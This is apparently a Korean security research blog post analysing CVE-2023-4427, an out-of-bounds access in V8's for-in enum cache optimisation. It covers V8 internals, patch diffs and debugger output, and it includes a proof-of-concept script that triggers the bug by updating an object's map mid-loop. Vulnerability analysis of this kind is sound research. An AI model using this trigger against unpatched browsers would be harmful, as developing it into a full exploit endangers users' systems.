본문 바로가기

Research/Browser

CVE-2023-4427 PoC : Out of bounds memory access in V8.

Introduction

Sergei Glazunov of Google Project Zero에 의해 제보된 취약점으로 For-in 최적화 과정에서 발생하는 oob 취약점을 분석한 내용입니다.

update

The Stable and Extended stable channels has been updated to 116.0.5845.110 for Mac and Linux and 116.0.5845.110/.111 for Windows, which will roll out over the coming days/weeks. A full list of changes in this build is available in the log.

Environment Setting

Install depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH

Get V8 source code

mkdir v8
cd v8
fetch v8
cd v8
git checkout fd4597755cb
gclient sync -D

Install build dependencies

./build/install-build-deps.sh

Build V8

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
ninja -C out/debug d8; ninja -C out/release d8

Install GDB plugin

echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

Prerequisite Knowledge

In-object property

In-object property는 object 자체에 데이터를 저장함으로 주소 포인터를 전환하지 않으므로 가장 빠른 접근을 제공합니다.

const obj = {};
obj.a = 1;
% DebugPrint(obj);

in-object는 object의 초기 크기에 따라 미리 결정되며, 초기 크기보다 더 많은 프로퍼티가 추가되면 properties에 저장됩니다.

const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
% DebugPrint(obj);
DebugPrint: 0x201f001cc715: [JS_OBJECT_TYPE]
 - map: 0x201f000db28d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x201f000c4b79 <Object map = 0x201f000c41b5>
 - elements: 0x201f00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x201f00000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x201f00002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x201f00002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x201f00002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
    0x201f00002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
 }
const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
% DebugPrint(obj);
DebugPrint: 0x12f4001cc721: [JS_OBJECT_TYPE]
 - map: 0x12f4000db2c9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x12f4000c4b79 <Object map = 0x12f4000c41b5>
 - elements: 0x12f400000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x12f4001cc841 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x12f400002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x12f400002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x12f400002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
    0x12f400002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
    0x12f400002a89: [String] in ReadOnlySpace: #e: 5 (const data field 4), location: properties[0]
 }

DescriptorArray

property의 메타정보는 descriptor에 저장되며, map과 동일하게 동일한 구조를 가진 객체(예: 동일한 이름의 속성, 동일한 순서)의 descriptor를 공유하여 메모리를 절약합니다.

const object1 = {};
object1.a = 1;
% DebugPrint(object1);
const object2 = {};
object2.a = 2;
object2.b = 3;
% DebugPrint(object1);
% DebugPrint(object2);
  • (object1 DebugPrint) object1만 생성되었을 때 descriptor에는 property name : a에 대한 정보만 있습니다.
DebugPrint: 0x21d8001cc741: [JS_OBJECT_TYPE]
 - map: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x21d8000db305: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 3
 - enum length: invalid
 - stable_map
 - back pointer: 0x21d8000c49ad <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors (own) #1: 0x21d8001cc75d <DescriptorArray[1]>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

0x21d8001cc75d: [DescriptorArray]
 - map: 0x21d800000129 <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: empty
 - nof slack descriptors: 0
 - nof descriptors: 1
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0x21d800002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
  • (object1 DebugPrint) object2가 생성된 이후 descriptor가 기존에서 변경되어 transition 되었다는 내용과 함께 property name : a, b에 대한 정보가 포함됩니다.
DebugPrint: 0x21d8001cc741: [JS_OBJECT_TYPE]
 - map: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
0x21d8000db305: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 3
 - enum length: invalid
 - back pointer: 0x21d8000c49ad <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors #1: 0x21d8001cc795 <DescriptorArray[2]>
 - transitions #1: 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)>
     0x21d800002a59: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

0x21d8001cc795: [DescriptorArray]
 - map: 0x21d800000129 <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: empty
 - nof slack descriptors: 0
 - nof descriptors: 2
 - raw gc state: mc epoch 0, marked 0, delta 0
  [0]: 0x21d800002a49: [String] in ReadOnlySpace: #a (const data field 0:s, p: 0, attrs: [WEC]) @ Any
  [1]: 0x21d800002a59: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
  • (object2 DebugPrint) 같은 형식이라면 map과 마찬가지로 descriptor의 공유가 가능하며, object1의 descriptor를 공유하는 것을 확인 할 수 있습니다.
DebugPrint: 0x21d8001cc779: [JS_OBJECT_TYPE]
 - map: 0x21d8000db38d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - elements: 0x21d800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x21d800000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x21d800002a49: [String] in ReadOnlySpace: #a: 2 (const data field 0), location: in-object
    0x21d800002a59: [String] in ReadOnlySpace: #b: 3 (const data field 1), location: in-object
 }
0x21d8000db38d: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 2
 - enum length: invalid
 - stable_map
 - back pointer: 0x21d8000db305 <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x21d8000db34d <Cell value= 0>
 - instance descriptors (own) #2: 0x21d8001cc795 <DescriptorArray[2]>
 - prototype: 0x21d8000c4b79 <Object map = 0x21d8000c41b5>
 - constructor: 0x21d8000c46bd <JSFunction Object (sfi = 0x21d80008bf69)>
 - dependent code: 0x21d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

 

Descriptor Array 구조는 아래와 같이 구성되어 있습니다.

/ A DescriptorArray is a custom array that holds instance descriptors.
// It has the following layout:
//   Header:
//     [16:0  bits]: number_of_all_descriptors (including slack)
//     [32:16 bits]: number_of_descriptors
//     [48:32 bits]: raw_number_of_marked_descriptors (used by GC)
//     [64:48 bits]: alignment filler
//     [kEnumCacheOffset]: enum cache
//   Elements:
//     [kHeaderSize + 0]: first key (and internalized String)
//     [kHeaderSize + 1]: first descriptor details (see PropertyDetails)
//     [kHeaderSize + 2]: first value for constants / Smi(1) when not used
//   Slack:
//     [kHeaderSize + number of descriptors * 3]: start of slack
// The "value" fields store either values or field types. A field type is either
// FieldType::None(), FieldType::Any() or a weak reference to a Map. All other
// references are strong.

enum cache

enum cache는 enumarable 속성이 설정된 object의 for-in 구문 또는 Object.getOwnPropertyNames() 등 object의 property를 조회할 때 생성한 뒤 object의 값 또는 map이 변경되지 않는다면 enum chache를 참조해 메모리 접근 횟수를 줄여 속도를 높이는 방식입니다.

여기서 중점은 enum cache에는 keys와 indices만 존재할 뿐 값을 가지고 있지는 않습니다.

그리고 enum cache는 fast property에서만 생성됩니다.

for-in 구문의 경우 enum cache 생성을 아래와 같은 순서로 생성되며, object가 변경되었을 경우 enum cache의 변경이 발생합니다.

const obj = {};
obj.a = 1;

for (let key in obj) { } 
[+] RUNTIME_FUNCTION(Runtime_ForInEnumerate)
[+] MaybeHandle<HeapObject> Enumerate
[+] Prepare Key
[+] CheckAndInitializeEmptyEnumCache(JSReceiver object)
  [-] EnumLength = 1023, kInvalidEnumCacheSentinel = 1023
  [-] JSObject::cast(object).HasEnumerableElements = 0
[+] FastKeyAccumulator::GetKeys
[+] FastKeyAccumulator::GetKeysFast
[+] FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength
[+] GetFastEnumPropertyKeys
0x6fa00000219: [FixedArray] in ReadOnlySpace
 - map: 0x06fa00000089 <Map(FIXED_ARRAY_TYPE)>
 - length: 0
[+] FastKeyAccumulator::InitializeFastPropertyEnumCache
[+] DescriptorArray::InitializeOrChangeEnumCache
0x6fa000db2e9: [EnumCache] in OldSpace
 - map: 0x06fa000001f1 <Map[12](ENUM_CACHE_TYPE)>
 - keys: 0x06fa000db2d1 <FixedArray[1]>
 - indices: 0x06fa000db2dd <FixedArray[1]>
0x6fa000db249: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 3
 - enum length: 1
 - stable_map
 - back pointer: 0x06fa000c49ad <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x06fa000db291 <Cell value= 0>
 - instance descriptors (own) #1: 0x06fa001cc681 <DescriptorArray[1]>
 - prototype: 0x06fa000c4b79 <Object map = 0x6fa000c41b5>
 - constructor: 0x06fa000c46bd <JSFunction Object (sfi = 0x6fa0008bf69)>
 - dependent code: 0x06fa00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
0x6fa000db2e9: [EnumCache] in OldSpace
 - map: 0x06fa000001f1 <Map[12](ENUM_CACHE_TYPE)>
 - keys: 0x06fa000db2d1 <FixedArray[1]>
 - indices: 0x06fa000db2dd <FixedArray[1]>
// keys.cc

void FastKeyAccumulator::Prepare() {
  ...

    bool has_no_properties = CheckAndInitializeEmptyEnumCache(current); // true == not enumerable
    // enum cache를 조회하고 없다면 초기화합니다.

  ...
}
// keys.cc

MaybeHandle<FixedArray> FastKeyAccumulator::GetKeys(
    GetKeysConversion keys_conversion) {
  // TODO(v8:9401): We should extend the fast path of KeyAccumulator::GetKeys to
  // also use fast path even when filter = SKIP_SYMBOLS. We used to pass wrong
  // filter to use fast path in cases where we tried to verify all properties
  // are enumerable. However these checks weren't correct and passing the wrong
  // filter led to wrong behaviour.
  printf("[+] FastKeyAccumulator::GetKeys\n");
  if (filter_ == ENUMERABLE_STRINGS) {
    Handle<FixedArray> keys;
    if (GetKeysFast(keys_conversion).ToHandle(&keys)) {  // 반복문일경우 빠른 읽기로 key를 가져옵니다.
      return keys;
    }
    if (isolate_->has_pending_exception()) return MaybeHandle<FixedArray>();
  }

  if (try_prototype_info_cache_) {
    return GetKeysWithPrototypeInfoCache(keys_conversion);
  }
  return GetKeysSlow(keys_conversion);
}


MaybeHandle<FixedArray> FastKeyAccumulator::GetKeysFast(
    GetKeysConversion keys_conversion) {
  printf("[+] FastKeyAccumulator::GetKeysFast\n");
  bool own_only = has_empty_prototype_ || mode_ == KeyCollectionMode::kOwnOnly;
  Map map = receiver_->map();
  if (!own_only || map.IsCustomElementsReceiverMap()) {
    return MaybeHandle<FixedArray>();
  }

  // From this point on we are certain to only collect own keys.
  DCHECK(receiver_->IsJSObject());
  Handle<JSObject> object = Handle<JSObject>::cast(receiver_);

  // Do not try to use the enum-cache for dict-mode objects.
  if (map.is_dictionary_map()) {
    return GetOwnKeysWithElements<false>(isolate_, object, keys_conversion,
                                         skip_indices_);
  }
  int enum_length = receiver_->map().EnumLength();
  if (enum_length == kInvalidEnumCacheSentinel) {
    Handle<FixedArray> keys;
    // Try initializing the enum cache and return own properties.
    if (GetOwnKeysWithUninitializedEnumLength().ToHandle(&keys)) { // enum cache가 생성되지 않으면 enum length는 0 
      if (v8_flags.trace_for_in_enumerate) {
        PrintF("| strings=%d symbols=0 elements=0 || prototypes>=1 ||\n",
               keys->length());
      }
      is_receiver_simple_enum_ =
          object->map().EnumLength() != kInvalidEnumCacheSentinel;
      return keys;
    }
  }
  // The properties-only case failed because there were probably elements on the
  // receiver.
  return GetOwnKeysWithElements<true>(isolate_, object, keys_conversion,
                                      skip_indices_);
}

MaybeHandle<FixedArray>
FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength() {
  printf("[+] FastKeyAccumulator::GetOwnKeysWithUninitializedEnumLength\n");
  Handle<JSObject> object = Handle<JSObject>::cast(receiver_);
  // Uninitialized enum length
  Map map = object->map();
  if (object->elements() != ReadOnlyRoots(isolate_).empty_fixed_array() &&
      object->elements() !=
          ReadOnlyRoots(isolate_).empty_slow_element_dictionary()) {
    // Assume that there are elements.
    return MaybeHandle<FixedArray>();
  }
  int number_of_own_descriptors = map.NumberOfOwnDescriptors();
  if (number_of_own_descriptors == 0) {
    map.SetEnumLength(0);
    return isolate_->factory()->empty_fixed_array();
  }
  // We have no elements but possibly enumerable property keys, hence we can
  // directly initialize the enum cache.
  Handle<FixedArray> keys = GetFastEnumPropertyKeys(isolate_, object); // in-object는 peroperties에 없기 때문에 가져온 array는 비어있음
  if (is_for_in_) return keys;
  // Do not leak the enum cache as it might end up as an elements backing store.
  return isolate_->factory()->CopyFixedArray(keys);
}

// 최종적으로 fastproperty에 대한 접근과 cache를 생성합니다.
// static
Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
    Isolate* isolate, Handle<Map> map, int enum_length,
    AllocationType allocation) {
  printf("[+] FastKeyAccumulator::InitializeFastPropertyEnumCache\n");
  DCHECK_EQ(kInvalidEnumCacheSentinel, map->EnumLength());
  DCHECK_GT(enum_length, 0);
  DCHECK_EQ(enum_length, map->NumberOfEnumerableProperties());
  DCHECK(!map->is_dictionary_map());

  Handle<DescriptorArray> descriptors =
      Handle<DescriptorArray>(map->instance_descriptors(isolate), isolate);

  // The enum cache should have been a hit if the number of enumerable
  // properties is fewer than what's already in the cache.
  DCHECK_LT(descriptors->enum_cache().keys().length(), enum_length);
  isolate->counters()->enum_cache_misses()->Increment();

  // Create the keys array.
  int index = 0;
  bool fields_only = true;
  Handle<FixedArray> keys =
      isolate->factory()->NewFixedArray(enum_length, allocation);
  for (InternalIndex i : map->IterateOwnDescriptors()) {
    DisallowGarbageCollection no_gc;
    PropertyDetails details = descriptors->GetDetails(i);
    if (details.IsDontEnum()) continue;
    Object key = descriptors->GetKey(i);
    if (key.IsSymbol()) continue;
    keys->set(index, key);
    if (details.location() != PropertyLocation::kField) fields_only = false;
    index++;
  }
  DCHECK_EQ(index, keys->length());

  // Optionally also create the indices array.
  Handle<FixedArray> indices = isolate->factory()->empty_fixed_array();
  if (fields_only) {
    indices = isolate->factory()->NewFixedArray(enum_length, allocation);
    index = 0;
    DisallowGarbageCollection no_gc;
    Tagged<Map> raw_map = *map;
    Tagged<FixedArray> raw_indices = *indices;
    Tagged<DescriptorArray> raw_descriptors = *descriptors;
    for (InternalIndex i : raw_map->IterateOwnDescriptors()) {
      PropertyDetails details = raw_descriptors->GetDetails(i);
      if (details.IsDontEnum()) continue;
      Object key = raw_descriptors->GetKey(i);
      if (key.IsSymbol()) continue;
      DCHECK_EQ(PropertyKind::kData, details.kind());
      DCHECK_EQ(PropertyLocation::kField, details.location());
      FieldIndex field_index = FieldIndex::ForDetails(raw_map, details);
      raw_indices->set(index, Smi::FromInt(field_index.GetLoadByFieldIndex()));
      index++;
    }
    DCHECK_EQ(index, indices->length());
  }

  DescriptorArray::InitializeOrChangeEnumCache(descriptors, isolate, keys,
                                               indices, allocation); // enum cache생성
  if (map->OnlyHasSimpleProperties()) map->SetEnumLength(enum_length);
  return keys;
}
// objects.cc

void DescriptorArray::InitializeOrChangeEnumCache(
    Handle<DescriptorArray> descriptors, Isolate* isolate,
    Handle<FixedArray> keys, Handle<FixedArray> indices,
    AllocationType allocation_if_initialize) {
  printf("[+] DescriptorArray::InitializeOrChangeEnumCache\n");
  EnumCache enum_cache = descriptors->enum_cache();
  if (enum_cache == ReadOnlyRoots(isolate).empty_enum_cache()) {
    enum_cache = *isolate->factory()->NewEnumCache(keys, indices,
                                                   allocation_if_initialize);
    descriptors->set_enum_cache(enum_cache);
  } else {
    enum_cache.set_keys(*keys);
    enum_cache.set_indices(*indices);
  }
  enum_cache.Print();
}

object의 변경 없이 2번째 접근하게 된다면 libv8.so의 ForInPrepareHandler에서 cache를 조회하고 있다면 바로 참조하게 됩니다.

#0  0x000055a078bb11f0 in int std::__Cr::__cxx_atomic_load<int>(std::__Cr::__cxx_atomic_base_impl<int> const volatile*, std::__Cr::memory_order) ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/cxx_atomic_impl.h:356
#1  0x000055a078bb119b in std::__Cr::__atomic_base<int, false>::load(std::__Cr::memory_order) const volatile ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/atomic_base.h:56
#2  0x000055a078bb115b in int std::__Cr::atomic_load_explicit<int>(std::__Cr::atomic<int> const volatile*, std::__Cr::memory_order) ()
    at ../../buildtools/third_party/libc++/trunk/include/__atomic/atomic.h:239
#3  0x000055a078bb111f in v8::base::Relaxed_Load(int const volatile*) ()
    at ../../src/base/atomicops.h:237
#4  0x000055a078bb106d in unsigned int v8::base::AsAtomicImpl<int>::Relaxed_Load<unsigned int>(unsigned int*) () at ../../src/base/atomic-utils.h:87
warning: Could not find DWO CU obj/d8/d8-test.dwo(0x1a7160efe0c25e55) referenced by CU at offset 0xc0 [in module /home/user/Downloads/v8/out.gn/x64.debug/d8]
#5  0x000055a078bd7da2 in v8::internal::TaggedField<v8::internal::MapWord, 0, v8::internal::V8HeapCompressionScheme>::Relaxed_Load_Map_Word(v8::internal::PtrComprCageBase, v8::internal::HeapObject) ()
    at ../../src/objects/tagged-field-inl.h:127
#6  0x000055a078bd7d20 in v8::internal::HeapObject::map_word(v8::internal::PtrComprCageBase, v8::RelaxedLoadTag) const ()
    at ../../src/objects/objects-inl.h:964
#7  0x000055a078bd7be5 in v8::internal::HeapObject::map(v8::internal::PtrComprCageBase) const () at ../../src/objects/objects-inl.h:853
#8  0x000055a078c4cf80 in v8::internal::HeapObject::IsFixedArray(v8::internal::PtrComprCageBase) const () at ../../src/objects/instance-type-inl.h:348
#9  0x000055a078c4cd9d in v8::internal::HeapObject::IsFixedArray() const ()
    at ../../src/objects/instance-type-inl.h:348
warning: Could not find DWO CU obj/v8_base_without_compiler/api.dwo(0x3b06f66b8ad56507) referenced by CU at offset 0xcc [in module /home/user/Downloads/v8/out.gn/x64.debug/libv8.so]
#10 0x00007fc689939d5f in v8::internal::Object::IsFixedArray() const ()
    at ../../src/objects/objects-inl.h:102
warning: Could not find DWO CU obj/v8_base_without_compiler/object-type.dwo(0x882e192b9f7e0381) referenced by CU at offset 0x3b58 [in module /home/user/Downloads/v8/out.gn/x64.debug/libv8.so]
#11 0x00007fc68a8093b8 in v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long) () at ../../src/objects/object-type.cc:69
#12 0x00007fc68974b452 in Builtins_ForInPrepareHandler ()
   from /home/user/Downloads/v8/out.gn/x64.debug/libv8.so

ReduceJSLoadPropertyWithEnumeratedKey 최적화

property를 enum 속성으로 가져올 때 JSLoadProperty 대신 enum_cache의 indices의 인덱스를 이용 LoadFieldByIndex를 함수를 사용해 name으로 조회하는 게 아닌 index 형식으로 조회하여 속도를 향상시키는 최적화 방식입니다.

// js-native-context-specialization.cc

Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
    Node* node) {
  // We can optimize a property load if it's being used inside a for..in:
  //   for (name in receiver) {
  //     value = receiver[name];
  //     ...
  //   }
  //
  // If the for..in is in fast-mode, we know that the {receiver} has {name}
  // as own property, otherwise the enumeration wouldn't include it. The graph
  // constructed by the BytecodeGraphBuilder in this case looks like this:

  // receiver
  //  ^    ^
  //  |    |
  //  |    +-+
  //  |      |
  //  |   JSToObject
  //  |      ^
  //  |      |
  //  |      |
  //  |  JSForInNext
  //  |      ^
  //  |      |
  //  +----+ |
  //       | |
  //       | |
  //   JSLoadProperty

  // If the for..in has only seen maps with enum cache consisting of keys
  // and indices so far, we can turn the {JSLoadProperty} into a map check
  // on the {receiver} and then just load the field value dynamically via
  // the {LoadFieldByIndex} operator. The map check is only necessary when
  // TurboFan cannot prove that there is no observable side effect between
  // the {JSForInNext} and the {JSLoadProperty} node.
  //
  // Also note that it's safe to look through the {JSToObject}, since the
  // [[Get]] operation does an implicit ToObject anyway, and these operations
  // are not observable.

  DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
  Node* receiver = NodeProperties::GetValueInput(node, 0);
  JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
  Node* effect = NodeProperties::GetEffectInput(node);

 ...
}
const object1 = {};
object1.a = 1;
object1.b = 2;

function test(callback) {
    for (let key in object1) {
    console.log(object1[key]);
    }
}
%PrepareFunctionForOptimization(trigger);
test();
test();
%OptimizeFunctionOnNextCall(test);
test();

image

)

image

Analysis

patch diff

object의 map이 업데이트되는 과정에서 기존에는 이전 descriptor의 enum_cache를 초기화하는 코드가 없어 기존 enum_cache가 남아 있는 상태가 됩니다.

https://chromium.googlesource.com/v8/v8.git/+/09344cd5b4bbbe4befe92e727b06284ba5cd70a9%5E%21/#F0

diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 8b2e7f3..568df12 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -12,6 +12,7 @@
 #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h"
+#include "src/objects/keys.h"
 #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h"
@@ -1037,6 +1038,13 @@
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);

+  // If the old descriptors had an enum cache, make sure the new ones do too.
+  if (old_descriptors_->enum_cache().keys().length() > 0 &&
+      new_map->NumberOfEnumerableProperties() > 0) {
+    FastKeyAccumulator::InitializeFastPropertyEnumCache(
+        isolate_, new_map, new_map->NumberOfEnumerableProperties());
+  }
+
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;

Don't try to create empty enum cache.

https://chromium.googlesource.com/v8/v8.git/+/5516e06237c9f0013121f47319e8c253c896d52d

[runtime] Don't try to create empty enum cache.

When copying maps and the new map has no enumerable properties we
should not try to initialize an enum cache.

This happens if the deprecation is due to making the only property in
a map non enumerable.

Bug: chromium:1472317, chromium:1470668
Change-Id: I7a6af63e50dc30592e2caacce0caccfb31f534cf
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4775581
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Olivier Flückiger <olivf@chromium.org>
Cr-Commit-Position: refs/heads/main@{#89534}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7a864d9..9c20491 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1040,7 +1040,8 @@
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);

   // If the old descriptors had an enum cache, make sure the new ones do too.
-  if (old_descriptors_->enum_cache()->keys()->length() > 0) {
+  if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
+      new_map->NumberOfEnumerableProperties() > 0) {
     FastKeyAccumulator::InitializeFastPropertyEnumCache(
         isolate_, new_map, new_map->NumberOfEnumerableProperties());
   }

[runtime] Recreate enum cache on map update

https://chromium.googlesource.com/v8/v8.git/+/1c623f9ff6e077be1c66f155485ea4005ddb6574

[runtime] Recreate enum cache on map update

If we had one before, we probably want one after too.

Bug: chromium:1470668
Change-Id: Ib83f7b9549b5686a16d35dd7114bf88b12d0a3a0
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4771019
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/main@{#89488}
diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7660fab..7a864d9 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -12,6 +12,7 @@
 #include "src/handles/handles.h"
 #include "src/heap/parked-scope-inl.h"
 #include "src/objects/field-type.h"
+#include "src/objects/keys.h"
 #include "src/objects/objects-inl.h"
 #include "src/objects/objects.h"
 #include "src/objects/property-details.h"
@@ -1038,6 +1039,12 @@
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);

+  // If the old descriptors had an enum cache, make sure the new ones do too.
+  if (old_descriptors_->enum_cache()->keys()->length() > 0) {
+    FastKeyAccumulator::InitializeFastPropertyEnumCache(
+        isolate_, new_map, new_map->NumberOfEnumerableProperties());
+  }
+
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { }
% DebugPrint(object2);

object3.c = 1.1;
% DebugPrint(object2);

image

map이 업데이트되면서 descriptor의 값이 변경되었습니다. 하지만 변경되기 전 descriptor에는 기존 enum cache가 남아있습니다.

Triggering the vulnerability

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { } // forin enum cache generate

function trigger() {
    for (let key in object2) {
        console.log(object2[key]);
    }
}

% PrepareFunctionForOptimization(trigger);
trigger();
% OptimizeFunctionOnNextCall(trigger);
trigger(); // ReduceJSLoadPropertyWithEnumeratedKey optimization

for-in을 최적화 하게 되면 ReduceJSLoadPropertyWithEnumeratedKey 최적화가 진행됩니다.

최적화된 trigger 함수의 코드를 살펴보면 시작점에서 object2의 값을 조회하고 enum_cache를 가져오는 것을 확인할 수 있습니다.

  • for-in object map 반환

)

  • Descriptor 가져오기

)

)

  • enum cache 조회

)

)

  • key 조회

)

  • 데이터를 스택에 저장합니다. 여기서 r8은 enum length로 추후 loop 비교문에 사용됩니다.

)

)

즉, 최적화된 코드는 함수 초기에 for-in object의 값을 로드하고 enum cache를 판단하게 됩니다.

그럼 여기서 패치되기 전 과거 descriptor의 cache가 초기화되지 않는 점을 이용하여, trigger 함수 중간에 object의 값을 update 한다면 이전 descriptor의 cache index를 생각하고 참조하게 되지만 변경된 descriptor의 index는 없으므로 oob가 발생하게 됩니다.

/* poc.js */

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { } // old descriptor enum cache generate index[2]

function trigger(callback) {
    for (let key in object2) {
        callback();
        console.log(object2[key]);
    }
}

% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);  // ReduceJSLoadPropertyWithEnumeratedKey optimization

% DebugPrint(trigger);
% DebugPrint(object2);
readline();

trigger(_ => {
    object3.c = 1.1;  // MapUpdater
    for (let key in object1) { } // new descriptor enum cache generate index[1]
    % DebugPrint(object2);
    readline();
});

New Descriptor-> enum cache -> indices에서 index[2]를 참조하면서 잘못된 주소를 가져오게 됩니다.

# movl r9,[r14+r9*1+0xb] : get enum cache 
 >> r9 
0xe24001cc9f9: [DescriptorArray]
 - map: 0x0e2400000129 <Map(DESCRIPTOR_ARRAY_TYPE)>
 - enum_cache: 1
   - keys: 0x0e24000dbdad <FixedArray[1]>
